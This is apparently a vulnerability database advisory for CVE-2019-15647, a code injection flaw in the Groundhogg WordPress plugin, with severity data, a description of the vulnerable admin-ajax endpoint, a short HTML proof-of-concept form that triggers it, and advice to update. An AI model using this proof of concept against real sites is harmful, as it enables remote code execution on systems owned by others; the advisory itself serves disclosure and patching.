Code Injection in Groundhogg - CVE-2019-15647

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Main Vulnerability Database Vulnerabilities #VU22280

Code Injection in Groundhogg - CVE-2019-15647

Published: October 25, 2019


Vulnerability identifier: #VU22280
CSH Severity: High
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/U:Amber
CVE-ID: CVE-2019-15647
CWE-ID: CWE-94
Exploitation vector: Remote access
Exploit availability: No public exploit available
Vendor: Adrian Tobey
Affected software:
Groundhogg

Detailed vulnerability description

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to improper input validation in "wp-admin/admin-ajax.php?action=bulk_action_listener" URL. A remote authenticated attacker can send a specially crafted request and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

PoC: 

<html>
<body>
<form action="http://[host]/wp-admin/admin-ajax.php?action=bulk_action_listener" method="POST">
<input type="hidden" name="bulk_action" value="do_feed_rss" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

How to mitigate CVE-2019-15647

Install updates from vendor's website.

Sources